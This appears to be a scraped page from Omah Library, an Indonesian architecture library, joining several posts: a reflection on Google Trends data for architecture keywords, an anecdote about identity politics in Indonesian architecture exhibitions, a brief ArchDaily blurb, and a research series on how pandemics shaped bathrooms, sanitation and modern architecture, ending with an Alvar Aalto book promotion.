Hal ini membuat saya melihat – lihat grafik tentang sejauh mana isu – isu yang dibahas ini relevan terhadap masyarakat melalui data – data. Di hari minggu kemarin saya berdiskusi dengan Mohammad Cahyo Novianto, mengenai sejauh mana Googletrend bisa memetakan beberapa isu terkait hal yang sederhana yaitu “kata kunci”. Ini setidaknya bisa menelisik tentang sejauh isu – isu arsitektural menjadi relevan dengan masyarakat dengan grafik – grafik yang sederhana. Dimana kalau dilihat di dalam beberapa diagram yang di gambarkan dibawah ini, bahwa isu arsitektur sudah jauh berkurang dibanding tahun 2004 – semakin menurun.
Diagram 1. Dimana kalau dilihat di dalam beberapa diagram yang di gambarkan dibawah ini, bahwa kata kunci “arsitektur” sudah jauh berkurang dibanding tahun 2004 – semakin menurunDiagram 2. Demikian juga apalagi dengan kata kunci “Arsitektur Nusantara” yang juga menurun. Diagram 3. Namun apabila diperbandingkan terminologi arsitektur dengan lingkungan, bisnis, ekonomi, dan sebagainya. Terminologi tersebut lebih penting daripada isu – isu elit, atau eksklusif “arsitektur”, hal ini membuktikan bahwa isu arsitektur masih berjarak dengan masyarakat.Diagram 4. Kata kunci “Arsitektur” tersebut dibandingkan dengan kata kunci “Indonesia”
Apabila dilihat sepanjang masa, apa yang paling populer. kita bisa melihat bahwa facebook memberikan juaranya, disusun oleh Instagram yang lebih besar daripada isu negara, misal China, America, ataupun Indonesia. Selamat datang jaman digital.
Diagram 5. Apabila dilihat sepanjang masa, apa yang paling populer. kita bisa melihat bahwa facebook memberikan juaranya, disusun oleh Instagram yang lebih besar daripada isu negara, misal China, America, ataupun Indonesia.
Dibalik seluruh acara webinar yang diadakan di Omah Library, saya jadi berpikir, sejauh mana wacana yang diberikan di perpustakaan menjadi relevan dengan kawan – kawan arsitek.
Suatu hari di saya bertemu dengan satu kawan saya, ia senior saya yang berumur beberapa tahun diatas saya. Saya belajar menulis, dan mendesain dari dia. Satu saat ia menelpon saya, nadanya gusar seakan – akan seperti baru kejambret di pasar atau seperti rumahnya baru saja kemalingan.
“Bro lu ada waktu gue mau cerita”
Kemudian berceritalah ia mengenai kejadian – kejadian disekitar dia melihat media dan perasaannya. Ia punya perhatian bahwa etalase arsitektur Indonesia hanya milik segelintir orang tertentu, orang yang dominan, orang yang itu – itu saja. Parahnya media juga menselebrasikan hal tersebut. Ia memberikan contoh mengenai beberapa pameran sebagai referensinya bahwa hanya segelintir orang yang dominan yang dimasukkan terkait dengan hegemoni kekuasaan. Yang menariknya justru narasinya berbicara kebalikannya.
“Namun terlepas dari semua itu, kami hanya berharap ada yang dapat kita semua sama-sama pelajari dari penyelenggaraan pameran “Segar” ini. Jika tidak mengenai teknis penyelenggaraannya, dan jika tidak mengenai karya-karya yang ada di dalamnya, paling tidak kita bisa sama-sama belajar mengenai kekerabatan, kesejawatan dan kehangatan yang terjalin dalam tiga hari penyelenggaraannya.” (lihat link diatas Segelintir Wajah Arsitek Indonesia–Pameran “SEGAR” – )
Sugih tanpa bandha, kaya tanpa harta. Kaya yang dimaksud sebenarnya adalah tidak berkekurangan, artinya bukan semata-mata harta yang menjadikan tolok ukur. Kaya yang dituju dalam hidup bukanlah pengumpulan harta benda dan uang selama hidup… Kita juga dituntut sebelumnya mau melakukan segala sesuatu dengan sepenuh hati, bahkan tanpa imbalan sekalipun. Dengan demikian, dalam kehidupan kita, budi baik kita, akan senantiasi diingat orang lain, …
Mungkin kawan saya ini berpikir bahwa atas nama Arsitektur Indonesia, kenapa yang ikut hanya seputar arsitek yang itu – itu saja, apa yang digunakan atas nama Indonesia. Perasaannya itu malah berkebalikan dengan narasi pamerannya, kok malah begitu sih.
Saya bertanya ke kawan saya ini untuk memancing dari mana asalnya muncul kekesalan ini.
“Bro bukannya wajar hal ini terjadi, kan sah – sah saja satu orang lebih terkenal dari orang lain, kalau memang lu mempermasalahkan ketenaran ?” . Ia menjawab, “Bro ini bukan urusan cari duit atau rejeki aja atau urusan cari pamor aja, atau urusan keberuntungan segelintir orang saja. Ini urusan kebanggaan kita bersama. Lu setuju ngga kalau ini urusan Arsitektur Indonesia urusan kita bersama ?” Urusan duit ini dibahas di dalam tulisan Madeg Pandhito.
Di dalam hati saya berkata ke diri saya sendiri, orang ini boleh juga, setidaknya ada dedikasi dirinya untuk orang lain, tulus juga. Lalu saya bertanya ke dia
“lalu lu maunya apa, gimana caranya ?” Saya suka kalau dia sudah menggebu – gebu seperti ini. . “Begini bro sejak jaman dulu Indonesia terkenal dengan politik Identitas bro, ini yang perlu kita kritisi.”
“Gue punya caranya bro yang sederhana tapi mengena” . “Apa bro ?” . “Pertama semua harus tahu bahwa arsitektur itu ngga cuma soal arsitektur bro, ilmu ini punya hubungan dengan disiplin yang lain, ngga autis, ada lingkungan, ada sosial budaya, ada ekonomi, ada juga isu ideologi. Lalu ada beberapa tahapan untuk memajukan isu ini lebih dalam dan luas, kita bisa mengambil contoh di CIAM atau, di Jepang dengan gerakan Metabolist.”
Lalu ? Saya bertanya lagi penasaran dengan isi otaknya. Saya bertanya lagi dengan beberapa lalu, dan akhirnya ia menimpali. . “Ya dengan mengerti hal tersebut arsitektur bukan cuma milik kalangan tertentu bro, arsitektur Indonesia itu punya semua orang. Dan kita perlu punya platform yang memiliki nilai itu. Lu tau kan senior gue itu sukanya main politik identitas?”
lha ? lalu saya bilang, lah ujungnya ini tentang personal dong, hubungan elu sama senior lu bro, mana ada urusan sama Arsitektur Indonesia ? . ngga usah ngurusin orang lain lah bro kita urusin diri kita sendiri aja lu tau nanti lu juga punya murid, . dan ada pepatah bilang kan bro
“Murid jatuh tidak jauh dari gurunya ?” . Kawan saya ini menjawab “Asem lu, setidaknya gue kan mau merubah keadaan bro.” . Kemudian saya pun menyambung “Nah karena itu gue bersyukur lu jadi temen gue bro”
Ini adalah diskusi – diskusi sederhana mengenai politik identitas. Saya percaya bahwa hal – hal yang besar dirajut dari semangat – semangat kecil untuk menembus empati yang lebih dari sekedar mencari identitas, yaitu semangat persaudaraan. Dan perasaan bahwa diri saya atau kita bukan siapa – siapa. Apresiasi kita bisa lantunkan ke kawan saya satu ini yang sungguh gelisah akan sebuah perubahan. Perubahan itu perlu ditetapkan dulu di hati. Lalu baru kita cari jalan tengahnya.
Mari yuk..
lalu di Whatsapp grupnya, muncullah satu poster tentang pameran di Rio dan teman saya bergumam, “jancuk”.
dan saya pun membalas, “yess, jadi ada bahasan lagi, jadi saya tunggu responmu kawan. ” cerita ini akan bersambung dan akan ada skenario – skenario lanjutan mengenai Arsitektur Indonesia.
We’ve recently passed the halfway point of 2020, and to date, we’ve published hundreds of residential projects featuring distinct ways of living on ArchDaily. In a year marked by the worst health crisis that humanity has experienced in the last century, the Covid-19 pandemic, the house has gained new meanings and values, reiterating that no matter how diverse its program, a home’s purpose is to shelter its inhabitants.
Context, topography, scale, materials, budget and user desires are a range of aspects (and challenges) that define the most varied architectural solutions. It is no surprise that residential works are the most popular project category on ArchDaily. In the list below you’ll find the residences that gained the most interest, featuring the 50 most popular projects across the whole ArchDaily network during the first half of 2020.
Sepanjang sejarah, perkembangan peradaban dan persebaran manusia diiringi dengan perkembangan penyakit menular mematikan—yang disebabkan oleh bakteri, virus, jamur maupun parasit. Arus globalisasi dan urbanisasi yang menyebabkan perpindahan penduduk dari pedesaan ke perkotaan, juga pertumbuhan populasi menyebabkan imbas lingkungan yang juga tinggi. Ditambah dengan perjalanan antar wilayah melalui udara yang makin sering, penyebaran penyakit menular menjadi semakin cepat. Beberapa dari kasus-kasus ini memakan korban jiwa yang jumlahnya signifikan dibandingkan dengan total populasi, sehingga disebut pandemik. Hal ini tak jarang mempengaruhi jalannya sejarah, yang mengakibatkan perkembangan ilmu kesehatan (epidemiologi) dan sanitasi, termasuk juga teknologi bangunan dan perkotaan.
Omah Library akan membahas linimasa pandemik yang pernah terjadi di dunia dan implikasi arsitekturalnya, yang dapat dilihat dari perkembangan sejarah ruang mandi dan inovasi toilet, hingga ke desain institusi kesehatan, ruang publik, bahkan pemukiman. Karena penanganan krisis yang disebabkan pandemik sepanjang sejarah bergantung dari sentralisasi oleh negara atau institusi, sering kali tercipta diktum-diktum arsitektural — prinsip yang dilahirkan tanpa adanya atau diperlukannya pembuktian. Diktum-diktum ini menjadi penting untuk ditelusuri kembali melalui penjabaran case study. Diktum sendiri adalah sebuah deklarasi yang bersifat otoriter (atau dari figur yang dapat dipercaya/resmi) tentang sebuah prinsip, proposisi, atau opini.
Ritual dan Permandian | Sejarah Ruang Mandi dan Inovasi Toilet
Pada kondisi pandemi seperti sekarang, masyarakat dihimbau untuk menerapkan hidup sehat, diantaranya dengan rajin mencuci tangan dan mandi dengan sabun. Mayoritas masyarakat modern memang rutin mandi sebagai pembersih diri namun belum menyadari bahwa mandi sangat erat kaitannya dengan ritual peradaban terdahulu yang mensakralkan elemen kehidupan – air. Diawali tahun 3.000 SM, air digunakan sebagai media pemurnian diri sebelum memasuki tempat suci, mandi menjadi simbol manusia memantaskan diri untuk bertemu Tuhan/Dewa, bertobat, bahkan memulai fase kehidupan baru. Selanjutnya pada tahun 2.800 SM, dimana manusia mulai membawa air kedalam hunian, peradaban bangsa Indus melahirkan prototipe sistem sanitasi perkotaan dengan jalur got terakota. Air bersih dimasukkan kedalam kamar mandi, diolah dan dikondisikan sebagai penghargaan atas peranannya meningkatkan kualitas hidup manusia. Lalu disusul kemunculan bathtub dan flush toilet pertama dengan sistem transportasi air pipa berbentuk kerucut pada tahun 1.700 SM oleh bangsa Minoa di Crete, Yunani.
Keyakinan peradaban kuno akan makna spiritual air memicu transformasi perilaku hidup sehat. Mandi sebagai simbol kemurnian, dan keabadian jiwa, pemberi kesembuhan, dan menjaga kebersihan sebagai kualitas spiritual, tercermin pada perkembangan kamar mandi di tiap peradaban dalam mengolah material lokal, inovasi desain dan teknologi bangunan, serta manajemen sanitasi perkotaan sebagai upaya meningkatkan kualitas hidup yang lebih sehat.
Belajar dari sejarah, masyarakat modern perlu memahami bahwa hidup sehat dimulai dari bagaimana kita menjaga kebersihan air dan sanitasi di rumah. Dengan begitu kita bisa melawan dan menangkal virus/bakteri sumber penyakit, memulai fase hidup baru yang lebih sehat.
Ritual dan Permandian | Sejarah Ruang Mandi dan Toilet
Sebelum berkembangnya ilmu pengetahuan, peradaban kuno percaya bahwa wabah penyakit adalah hukuman dari Tuhan, karma dari roh pemusnah. Persepsi tersebut seringkali justru memperburuk penyebaran dan angka kematian, atau menunjuk kambing hitam penyebab krisis. Setelah diketahui bahwa geografi dan perdagangan mempunyai peranan penting dalam penyebaran virus, karantina pun dilakukan. Selain itu, penelitian oleh John Snow menyatakan bahwa wabah kolera tersebar melalui air yang tercemar karena didapati kasus hanya terjadi dari pompa-pompa tertentu. Dari sini kita bisa belajar dari sejarah, (1) ketika pandemik terjadi, cara memutus penyebarannya adalah dengan karantina dan (2) kesehatan diraih dengan menjaga kebersiihan sanitasi khususnya di rumah masing-masing.
Omah Library melakukan penelusuran sejarah perkembangan sanitasi dunia dan menemukan bahwa peradaban terdahulu juga memegang pedoman hidup bersih dan sehat. Air yang diyakini sebagai pemurni jiwa dan raga menjadi tonggak perkembangan ruang mandi dan hal tersebut mempengaruhi jalannya sejarah dan memicu perkembangan ilmu kesehatan dan sanitasi yang memberi peluang munculnya teknologi bangunan dalam konteks kamar mandi dan sistem sanitasi pada ilmu arsitektur.
Kali ini OMAH Library menyuguhkan 3 kasus studi yang menunjukkan kebermanfaatan atas perkembangan teknologi bangunan ruang mandi peradaban terdahalu. Bagaimana ritual pemandian mereka juga memberikan manfaat kepada masyarakat luas mampu menjadi bahan refleksi, apa yang bisa kita lakukan sekarang dan masa datang untuk mengurangi dan mengantisipasi dampak pandemi? Akankah kondisi pandemic akan memicu inovasi kamar mandi dan sanitasi dalam konteks teknologi bangunan pada arsitektur keberlanjutan? Atau kita cukup merubah cara pandang untuk memulai kebiasaan hidup bersih dan sehat
Communal Bath House | Sejarah Pemandian Umum
Perjalanan sejarah communal bath House mulai dari dibukanya pemandian untuk umum hingga transformasi ruang mandi yang dipengaruhi oleh tuntutan untuk menerapkan pola hidup sehat. Hal ini menunjukkan bahwa tradisi mandi bersama telah terjadi sejak peradaban Yunani dan berlanjut ke Romawi yang mulai melestarikan tradisi mandi bersama dengan membuat pemandian umum. Tetapi, tidak lama setelah Romawi membuka pemandian umum, banyak terjadi skandal hingga akhirnya pihak berwenang memutuskan untuk memisahkan ruang mandi menurut jenis kelamin. Dari kebijakan tersebut orang kaya mulai memilih untuk membuat kamar mandi pribadi yang dapat digunakan bersama oleh seluruh anggota keluarga dan tamu. Namun, pemandian umum masih populer dengan adanya layanan pijat dari para ahli. Perkembangan kamar mandi umum mulai meluas hingga ke Komunitas Yahudi, Muslim dan Kristen. Mereka mulai membuat pemandian umum hingga akhirnya masing-masing komunitas memiliki pemandian sendiri yang memodifikasi model pemandian Romawi. Salah satunya tradisi pemandian komunitas Muslim yang disebut dengan Hammam. Begitupun dengan Temazcal yang juga meluas menjadi budaya hingga menjadi fitur utama mayoritas kota-kota di Mesoamerika.
Melihat perkembangan tersebut, Romawi mulai membangun spa dimana inisiasi tersebut disertai dengan promosi pola hidup bersih. Hal ini disebabkan karena selama abad pertengahan, mandi seluruh tubuh adalah kegiatan yang bisa dilakukan oleh kalangan atas. Sehingga secara bertahap kelas atas mulai mempromosikan perlunya kebersihan untuk kalangan kelas bawah. Namun selama abad ke-16, 17 dan 18, konsep pemandian umum dari Yunani dan Romawi mulai menghilang di Eropa karena kebersihan mulai tergantikan dengan wc portabel.
Jika melihat kondisi saat ini, dimana kita dituntut menerapkan pola hidup yang lebih bersih untuk menghindari penyebaran virus. Akankah arsitektur kembali mengeluarkan inovasi yang mengubah teknologi sanitasi dan air bersih untuk menanggapi pandemik kali ini?
Communal Bath House | Sejarah Permandian Umum
Jika berbicara tentang sejarah permandian, kita perlu melihat peradaban kuno yang telah melakukan upacara pemurnian dan ritual dengan air. Salah satunya adalah The Bath of Caracalla yang merupakan contoh permandian komunal yang telah menjadi tradisi penting bagi peradaban Romawi. Kemegahan bangunannya menunjukkan bahwa pada masa kejayaan Romawi, tradisi ini sangat dihormati. Bahkan The Bath of Caracalla diperkirakan mampu melayani hingga 8000 orang mandi setiap harinya. Hal ini membuktikan besarnya dedikasi kekaisaran Romawi terhadap permandian untuk menerapkan pola hidup sehat.
Begitupun juga dengan Temazcal yang merupakan tradisi permandian uap bersifat komunal di Mesoamerika. Ukuranya yang cukup besar untuk menampung setengah populasi kampung menunjukkan bahwa Temazcal memang didedikasikan sebagai ruang bersosial. Bagi masyarakat suku Maya kuno, Temazcal merupakan ritual yang memiliki tujuan kesehatan. Berbeda dengan permandian Romawi, Temascal tidak memiliki larangan secara formal tentang tidak diperpbolehkanya laki-laki dan perempuan mandi bersama dalam satu ruangan. Hal ini sempat mendapat pertentangan dari penjajah Spanyol karena dianggap tempat yang berdosa. Namun dengan kegigihan masyarakat Mesoamerika, tradisi Temazcal masih terjaga hingga saat ini.
Onsen dan Sento Jepang merupakan pemandian yang pada awalnya memiliki akses yang terbatas secara ekonomi dan sosial. Permandian ini pada awalnya bersifat religius. Namun, ketika memasuki abad ke-15, pemandian ini telah menjadi kultur penting bagi masyarakat Jepang hingga mayoritas orang Jepang dapat mengaksesnya.
Dari ketiga case study tentang sejarah perkembangan permandian komunal dapat disimpulkan bahwa konsepnya selalu mengarah kepada pola hidup yang lebih sehat dengan cara menjaga kebersihan. Tentu pandemik kali ini cepat atau lambat akan menjadi pemicu munculnya inovasi perubahan teknologi sanitasi hingga air bersih. Karena memang benar bahwa mulai saat ini kita telah dituntut untuk menjaga kebersihan demi mengurangi penyebaran virus.
Dari Publik ke Privat | Sejarah Ruang Mandi dan Toilet
Setiap periode sejarah menyuguhkan berbagai cerita tentang sanitasi dan kebersihan. Pada abad ke 18 M, berbagai negara di Eropa mulai berlomba menciptakan teknologi toilet dan sistem sanitasi terbaik, seperti Inggris yang bangga akan WC/water closet-nya (istilah untuk ruang berisi toilet yang muncul sekitar tahun 1870), Skotlandia dengan bucket-nya (toilet dengan penampung limbah berupa ember), Perancis dengan latrine (istilah untuk jamban yang muncul di Inggris pada pertengahan abad 17), dan Belanda yang masih menggunakan danau alami sebagai toilet. Namun masalah yang timbul selanjutnya adalah bau tidak sedap. Dari titik ini, kita akan melihat bagaimana teknologi hadir untuk meningkatkan kualitas kebersihan dan kesehatan manusia yang juga menyetir perkembangan dikotomi kamar mandi dari ‘publik/privat’ menuju ‘kaya/miskin’. Namun sisi baiknya, teknologi sanitasi dan layout kamar mandi jadi berkembang dan seiring waktu, tiap hunian dapat merasakan kualitas sanitasi yang baik, meningkatkan kebersihan publik dan kesehatan masyarakat.
Masalah yang muncul dalam dunia sanitasi bukan tentang penemuan hal yang benar-benar baru, melainkan upaya penyelesaian dari masalah yang berkelanjutan. Perkembangan ilmu kesehatan juga menjadi katalis perkembangan industri sanitasi. Tidak hanya produk dalam interior kamar mandi saja yang dipikirkan, infrastruktur saluran air juga berperan penting untuk kesehatan dan sanitasi masyarakat. Ketika pondasi flush toilet telah ditemukan oleh Alexander Cummings dan Thomas Twyford hingga memasuki era industrialisasi, yang gencar dikembangkan selanjutnya adalah menemukan teknologi material khususnya produk pipa guna menjaga kesehatan manusia dan lingkungan.
Perkembangan Toilet dan Kamar Mandi Privat
Perkembangan toilet dan kamar mandi privat erat kaitannya dengan syarat akan kebutuhan kesehatan masyarakat. Rumah -rumah “Victorian” yang sebelumnya tidak membutuhkan kamar mandi khusus karena memang pada saat itu orang Inggris hanya memiliki 1 toilet yang digunakan hingga 100 orang. Oleh sebab itu limbah banyak yang tumpah ke jalan hingga ke sungai yang mengakibatkan puluhan orang meninggal karena penyakit yang ditularkan melalui air, terutama selama wabah kolera tahun 1830-an dan 1850-an. Hingga akhirnya keluar peraturan tentang penyediaan ruang khusus untuk water closet pada tahun 1859 yang menegaskan bahwa bahwa setiap rumah baru wajib memiliki water closet/WC. Sehingga Ilmu dan teknologi yang berkembang pada masanya mampu memfasilitasi hidup bersih dan sehat melalui peraturan yang menjadi standar yang sebelumnya dipicu oleh wabah penyakit kolera. . Selain itu, Perang Dunia juga secara tidak langsung berperan dalam pendistribusian teknologi toilet dan perkembangan kamar mandi ke penjuru dunia. Hal ini diesebabkan karena toilet yang dikembangkan oleh Thomas Crapper pada akhir abad ke-19 telah dibawa pulang oleh tentara Amerika yang ditempatkan di luar negeri selama perang dunia 1. Namun sebenarnya teknologi toilet flush sudah digunakan oleh Amerika jauh sebelum terjadinya perang dunia. Namun teknologi itu hanya bisa ditemukan pada rumah-rumah orang kaya dan hotel mewah di Amerika yang dibuktikan oleh adanya 8 flush toilet di Tremont Hotel, Boston yang kemudian berdampak sampai ke perumahan. Pada akhirnya di akhir abad ke-19, gagasan memiliki kamar mandi lengkap dengan wastafel dan fasilitas mandi (bathtub/shower) menjadi populer. Kemudian pada awal abad ke-20, dan kamar mandi menjadi kebutuhan standar di rumah-rumah yang baru dibangun.
Pertanyaan reflektif untuk peradaban kini adalah, apa yang bisa kita lakukan dalam bidang arsitektur sebagai tanggapan pandemi pada tahun 2020 ini?
Diktum Dalam Desain : Pengaruh Ilmu Epidemologi Terhadap Desain
Walaupun perkembangan pipa dan toilet dengan flush yang sudah lama ditemukan, kamar mandi dalam rumah baru menjadi umum di akhir abad ke-19, setelah saluran dan sistem drainase kota yang memadai mulai ada. Perkembangan kamar mandi pun cukup memakan waktu, di awal abad ke-20, hanya ada 1 kamar mandi kecil untuk rumah dengan 4 kamar tidur sekalipun. Desainnya pun masih mengutamakan efisiensi dan privasi.
Baru di tahun 1960-an, dengan meningkatnya kemakmuran pasca-perang dan kultur pop, perkembangan beragam desain perabot kamar mandi mulai ada. Seperti bathtub, karpet berbulu, wallpaper tahan air, hingga jacuzzi yang menjadikan kamar mandi sebagai ajang pertunjukkan kemewahan. . Sebelum itu, gaya hidup modern merupakan perkembangan dari kepedulian kepada kesehatan. Salah satunya untuk penanggulangan kasus kolera dan pandemi tuberkulosis yang saat itu membunuh 1 dari 7 orang di AS dan Eropa, yang diperburuk akibat kepadatan di perkotaan pada awal Revolusi Industri.
Arsitektur modern yang identik dengan bangunan warna putih muncul di awal 1900-an, melambangkan kebersihan dan juga simbol antitesis dari kegelapan kota-kota industri. Jendela diperbesar dan jarak antar bangunan diperlebar, untuk menciptakan ruang dengan udara dan sinar matahari yang cukup. Layout perimeter blok dan tipologi courtyard kembali diimplementasikan di perkotaan. Gerakan pendorong perubahan seperti Garden City di Inggris atau Life Reform di Jerman, dan The Ottawa Charter oleh WHO mulai digagas walaupun belum berhasil membawa perubahan yang konkret.
Namun perlu disadari diktum dengan elemen-elemen arsitektural yang ‘menyembuhkan’ ini merupakan reaksi dari zamannya yang kemudian dipatahkan validasi ilmiahnya setelah ditemukan pengobatan medis pada tahun 1950-an. Diktum mulai memiliki sifat dogmatis ketika konteksnya mulai sirna, namun banyak menghasilkan prinsip yang patut dipelajari.
Diktum Arsitektural dan Bangunan “Sehat”
Pernanggulangan pandemi beriringan dengan gaya artistik yang baru melahirkan diktum-diktum arsitektur Modern di abad ke-20, yang menjadi penanda era tersebut. Pengulangan diktum sepertu elemen jendela, balkon, kursi sandar didesain berdasarkan studi antopometri dan penggunaannya. . Ekspresi progresif ini dapat dilihat di desain Lovell Health House, di mana Neutra mengakomodir semua saran kliennya, seorang dokter yang menulis artikel mengenai hubungan antara ruang domestik dan kesehatan fisik. Desain atap datar dan balkon menjadi umum sebagai tempat berjemur. Desain Paimio Sanatorium merupakan kulminasi pencapaian arsitektur medis dengan prinsip modern ini, yang detilnya bisa terlihat di skala lengkungan lantai ke dinding sekalipun. Geometri dan garis lurus juga menjadi hal yang penting, agar ruang-ruang mudah dibersihkan. Hal inilah yang coba kembali dicetuskan oleh Maggie’s Centres sebagai standar yang harus dimiliki seluruh fasilitas kesehatan. 17 wisma yang dirancang oleh arsitek-arsitek besar diharapkan dapat menjadi contoh yang dipelajari dan ditiru.
Perubahan yang dibawa oleh ilmu sains, terutap epidemiologi ini juga mempengaruhi cara kita berkumpul, membangun pemukiman, bahkan melakukan transaksi. Rantai panjang globalisasi akan terancam digantikan dengan pertukaran barang yang terlokalisasi. Hal ini juga akan menyadarkan bahwa pemukiman, kota, desa, bahkan negara bukanlah entitas-entitas yang bersifat sentral, melainkan merupakan bagian dari sebuah sistem raksasa yang saling terhubungkan. Dalam skala rumah, akan tercipta ruang-ruang pribadi yang memenuhi kebutuhan secara fisik dan psikologis, serta keseimbangan biogenik.
Di masa yang didominasi oleh isolasi, kita diajak untuk berefleksi. Salah satunya dengan melihat kembali apa yang dilakukan para arsitek dalam menghadapi pandemi pada jamannya. Walaupun tidak ada korelasi langsung secara medis, kejadian sebesar pandemi membangkitkan sisi humanis arsitek seperti Aalto untuk menciptakan bangunan yang empatik terhadap penghuninya. Lalu, reaksi seperti apa yang akan diambil arsitek dalam menghadapi pandemik saat ini?
Reaksi Arsitektur Terhadap Pandemi : Studi dari Pandemi yang Pernah Terjadi
Reaksi Arsitektur terhadap pandemik mungkin tidak terjadi secara langsung namun kejadiannya merupakan antiseden yang pasti. Pandemik berhubungan langsung dengan ilmu kesehatan yang ruang lingkupnya global namun dibutuhkan sistem penanganan regional yang lebih detail, menyesuaikan dengan kondisi lokal tiap daerah. Perjalanan reaksi arsitektur terhadap pandemik dimulai dari ruang lingkup publik dan sistem makro, berupa regulasi oleh pemerintah. . Regulasi yang lahir atas pertimbangan saran berbagai ahli khususnya bidang kesehatan, merupakan upaya pembentukan behavior/perilaku masyarakat sebagai antisipasi dan mengurangi dampak penyebaran pandemik. Munculnya perilaku baru akan berdampak pada sektor lain yang meliputi ekonomi dan sosio-politik yang akan berimbas pada Urban Design, pada titik ini lah arsitektur akan bereaksi, bahkan hingga detail produk kecil seperti gagang pintu sekalipun.
OMAH Library menelusuri rekam jejak pandemik terdahulu: . Kolera, Tifus, Demam Kuning (abad ke-19), Pes/Third Plague (1855-1959), Influenza (1918, 1957, 1968), dan Tuberkulosis (1820-sekarang) . Dari ketiganya, muncul reaksi arsitektur secara komprehensif yang meliputi . 1.infrastruktur kota, 2. teknologi bahan bangunan, 3. layout dan bentuk inovatif pada interior, bahkan memunculkan tipologi bangunan baru.
Pada akhirnya seluruh produk tersebut memiliki konsep dan detail yang berakar pada prinsip kesehatan manusia dan lingkungan. Kesehatan tidak melulu tentang fisik tapi juga psikis yg bisa diwujudkan melalui arsitektur. Melihat kejadian pandemik terdahulu, Biogenic Architecture & Psychological Health dinilai menjadi kunci penting untuk menyetir reaksi arsitektur terhadap pandemik covid-19 kali ini. Ditambah lagi perlunya pembatasan jarak antar manusia di pandemi ini, sistem desentralisasi perlu dikuatkan dan hubungan ketetanggaan butuh dirajut menuju solidaritas bersama.
.
Pada akhirnya, manusia butuh menyadari bahwa hidup merupakan eksistensi secara harmonis dengan diri sendiri, makhluk hidup lain, dan lingkungan.
Teori Praktis Pola Reaksi dari Pandemi
Kemunculan pandemik akan membentuk behavior/perilaku baru sebagai upaya memutus rantai penyebaran dan dampak buruk lainnya. Arsitektur hadir untuk menanggapi dan mencoba mempercepat sekaligus menstabilkan keadaan. Arsitektur sebagai science dan art memiliki peluang untuk maju menghadirkan solusi berupa inovasi desain berbasis ilmu kesehatan dan seni terapan yang mampu meningkatkan kestabilan psikis dan memberi pengalaman ruang spiritual. OMAH Library kali ini mencoba menyusun teori praktis pola reaksi arsitektur terhadap pandemik guna melahirkan inovasi desain sebagai tanggapan pandemik. . Berikut teori praktis pola reaksi arsitektur terhadap pandemik : . 1.Pandemik: fenomena penyebaran penyakit berskala global, bisa disebabkan oleh virus dan bakteri. . 2.Behavior: analisa perilaku sebagai konteks perubahan budaya baru. . 3.Function: pembaharuan kebutuhan ruang/fasilitas berdasarkan pola perilaku user dan standar kesehatan. Kriteria fungsi didasarkan oleh permintaan (behavior). Function sendiri terbagi menjadi 5 kategori utama, yaitu: kantor, rumah tinggal, rumah sakit, fasilitas entertainment, dan kota. . 4.Creative Thinking: eksplorasi olah bentuk yang tidak lepas dari standar ergonomic. . 5.Artistic/beauty: elemen keindahan diciptakan ketika standar kebutuhan mendasar telah masiv dipenuhi. . Creative thinking + beauty adalah solusi yang diberikan oleh arsitek/desainer sebagai tanggung jawab untuk menjaga dan meningkatkan kesehatan mental melalui ruang binaannya. Mereka berperan merajut standar bentuk dan ergonomi dengan seni dan estetika. . Memang jejak sejarah menunjukkan tetap akan ada pandemik baru di kemudian hari namun bukan berarti kita pasif dan menerima apa adanya. Arsitek dan desainer justru mampu terlibat dalam keberlanjutan kesehatan masyarakat, menciptakan lingkungan buatan yang bersih, sehat, dan humanis. Dengan mengacu pada pola tersebut, arsitektur mampu bereaksi untuk menciptakan inovasi yang holistik, selalu meningkatkan taraf hidup manusia dan alam pada tiap peradaban dengan mewujudkan self sustain community.
Solusi Bentuk dan Ergonomi dalam Desain
Sebuah desain selalu berawal dari konteks dan berupa solusi yang ditawarkan sesuai dengan tuntutan konteksnya. Pandemi yang selalu membawa perubahan gaya hidup manusia menjadi salah satu pendorong pergerakan dan evolusi desain atau zeitgeist pada masanya. Dengan menggabungkan creative thinking dari segi bentuk dan ergonomi dengan aesthetics/beauty, tercipta desain berupa arsitektur, interior, dan desain produk. Masing-masing tipe desain tersebut memiliki kualitas berbeda yang mempengaruhi pengalaman spasial yang diharapkan berkontribusi dalam pemenuhan kesehatan fisik juga prikologis penggunanya. . OMAH Library kali ini mencoba menyusun teori praktis pola reaksi arsitektur terhadap pandemik guna melahirkan inovasi desain sebagai tanggapan pandemik. Creative thinking yang dilakukan arsitek dan desainer terdahulu dilakukan dengan menganalisa dengan lebih detil elemen-elemen pada bangunan Lovell’s Health House dan Sanatorium Paimio dalam menyikapi tingginya kasus Tuberkulosis pada abad ke-20. Perumusan desain-desain ini bertepatan dengan berkembangnya desan Modern, yang juga merupakan pengharapan dari permulaan gaya hidup baru bagi masyarakat.
Dalam menghadapi pandemi COVID-19 kali ini, OMAH Library mencoba mengajak para desainer muda untuk tidak pasif, melainkan mencoba memproyeksikan perkembangan desain yang mungkin terjadi dengan mempertimbangkan teknologi dan situasi sosial yang terjadi saat ini. Pada akhirnya, ini merupakan sebuah ajakan untuk berefleksi dan ebagai manusia sosial selalu mencoba membuat lingkungan hidup kita menjadi lebih baik —menyadari bahwa hidup merupakan eksistensi secara harmonis dengan diri sendiri, makhluk hidup lain, dan lingkungan.
Credit to the Omah Library’s Research Team
The Research Study is in Alvar Aalto’s Book
Buku ini Berisi tentang bagaimana studio Alvar Aalto dan relasi dengan dirinya bekerja dan seperti apa di dalamnya. Buku ini adalah salah satu refleksi dari perjalanan karya Alvar Aalto yang mendesain dengan inklusif, sebuah pendekatan yang mampu menembus batas imajinasi. Alvar Aalto adalah seorang arsitek yang memanifestasikan totalitas desain dari arsitektur, interior, sampai produk desain di Paimio Sanatorium yang terelasi dengan pandemi TBC dan Viipuri Library. Buku ini berisi mengenai :
Strategi arsitek di dalam menghadapi pandemik masa
Strategi arsitek di dalam menghadapi pandemik masa kini dan masa lalu.
Metode mendesain dari Alvar Aalto yang mampu menembus batas kanon tren dengan 3 pendekatan : Gesamtkunstwerk, Free Curve, dan Arsitektur Monumental
Pada akhirnya ini merujuk kepada kesimpulan : arsitek ini memulai karirnya dengan kegagalan, sifat mau belajar, berpikiran terbuka, berprinsip teguh, dan akhirnya kejeniusan itu datang sebagai buah dari kerja keras.
Principal : Realrich Sjarief
